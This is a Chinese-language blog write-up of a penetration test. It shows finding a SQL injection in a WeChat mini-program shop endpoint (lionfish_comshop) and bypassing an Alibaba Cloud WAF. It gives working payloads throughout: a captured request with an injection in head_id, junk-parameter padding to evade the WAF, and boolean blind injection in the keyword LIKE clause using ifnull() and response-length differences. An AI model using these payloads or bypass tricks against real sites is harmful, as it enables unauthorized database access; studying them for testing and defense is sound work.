序言
我:摸鱼一时爽,一直摸鱼一时爽啊:relieved:
大佬:还摸鱼,快来搞个注入。
我:。。。
拿到数据包
GET /wxapp.php?i=undefined&t=undefined&v=undefined&from=wxapp&c=entry&a=wxapp&do=index&m=lionfish_comshop&sign=9cc540f4c25c15a1a30ae983d9f28c5d&controller=index.load_condition_goodslist&token=6e4f1c83854ca18c8e4858170a559305&pageNum=1&head_id=550.0and+(CONNECTION_ID()+like+'1')&keyword=a&type=0&good_ids=&gid=0 HTTP/1.1 Host: www.xxx.com Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 MicroMessenger/7.0.9.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat content-type: application/x-www-form-urlencoded
这不是已经payload都有了么,有啥问题么,burp走起
好吧,原来是阿里云waf,开搞,大佬说要出数据证明注入。
0x01 判断数据库
既然注入点已经有了,先看看是啥数据库呗,结果尝试好多函数全都GG,user()、user、length()、len()、if全被拦,一拦一个准。。
既然常规函数不得行,那随便搞个函数看看:
payload:
550.0and+(1()+like+'1')
诶嘿,报错了,MySQL数据库。
知道是啥数据库,那就好办了。
0x02 绕waf
既然是MySQL数据库,那就可以开始构造条件判断了,可是把笔记里的payload一顿梭,全都被waf拦了,居然没一个能用的,只能找找看有没有什么骚姿势了,于是,,,
有啥不懂问度娘:
这篇文章提到可以用垃圾数据进行混淆,测试一下,我们这个站POST提交也可以,于是开搞。
打开sublime,复制粘贴运行,200个垃圾数据键值对就出来了,复制到burp,wtf?还是被拦了。
难道是键值对太少了?继续,忘了复制粘贴多少次了,后面测试的时候length()居然可以了。(前面一直被拦)
payload:
550.0 and+(length(1)+like+'1')
说明垃圾数据生效了,继续
0x03 更换参数
既然waf也绕过了,也就继续构造条件判断语句。可是。。。
后面发现不管语句判断正确与否,只要语法是正确的,返回结果都是一样的。
于是查看原先的参数,发现keyword参数才是查询的字段,会影响查询返回内容。
keyword=a
keyword=b
于是对keyword参数进行注入。
payload:
keyword=a'
返回内容中得到SQL语句:
%' and gc.begin_time 1603364903 and g.total > 0
也就是注入点是在like查询中。
payload:
a%25'or+length(1)=' 返回所有
a%25'and+length(1)=' 返回空
0x04 条件判断
找到可构造的点,开始构造条件判断
这里重新试了其他函数:if、case、user()、current_user也不行,还是会被拦,搞不懂。:weary:
payload:
a%25'or+ifnull(user()%20like'n%25',1)='%
后面发现ifnull不会被拦。
a%25'or+ifnull('ra'like'r%25',1)='% true
a%25'or+ifnull('1ra'like'r%25',1)='% false
根据返回内容长度判断条件查询成功。
条件ture的时候返回长度为:4027
条件false的时候返回长度为:3886
继续fuzz:然后在删掉括号时发现报错为字段错误:
payload:
a%25'or+ifnull(user%20like'n%25',1)='%
看到这个,想起cha牛说的可以用数据库中原本的数据来判断SQL注入,于是对字段进行爆破:
(参数字典可以用自己的也可以搜集这个站的参数进行爆破)
这里第一个price尝试的时候啥都没变化,于是换了第二个参数type
这里爆破的时候发现返回数据长度跟在repeat的时候不一样,经常在repeat模块验证,得到type的第一个字母为n,于是先判断type的长度为多少。
直接手工测试,因为爆破出来的结果很奇怪无法判断。(玄学)
payload:
a%25'or+ifnull/**/(length(type)=6,1)='%
还好长度不长,只试到6就出来了。
接着继续爆破type的后5位(纯手工。。。)
得到最终结果:tyep=normal
最终payload:
a%25'or+ifnull(type='normal',1)='%
到这里就成功绕过阿里云waf,利用数据库原有的数据证明该注入存在且可利用了。
尾声
我:完事,来一支事后烟。
我:忘了我不抽烟了。
我:继续摸鱼
笨鸟先飞早入林,笨人勤学早成材。
转载请注明出处:
撰写人:fox-yu http://www.cnblogs.com/fox-yu/